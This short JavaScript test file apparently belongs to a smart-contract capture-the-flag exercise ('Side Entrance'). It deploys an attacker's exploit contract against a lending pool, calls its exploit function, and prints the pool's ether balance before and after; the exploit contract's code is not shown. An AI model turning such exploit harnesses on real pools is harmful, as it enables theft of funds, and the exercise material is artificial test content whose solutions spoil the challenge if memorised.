sideentyether.js

  it("Exploit", async function () {
    const SideEntranceExploitFactory = await ethers.getContractFactory(
      "SideEntranceExploit",
      attacker
    );
    const SideEntranceExploit = await SideEntranceExploitFactory.deploy(
      this.pool.address
    );

    await SideEntranceExploit.deployed();
    console.log(
      "before pool:",
      await ethers.utils.formatEther(
        await ethers.provider.getBalance(this.pool.address)
      )
    );
    await SideEntranceExploit.exploit();

    console.log(
      "after pool:",
      await ethers.utils.formatEther(
        await ethers.provider.getBalance(this.pool.address)
      )
    );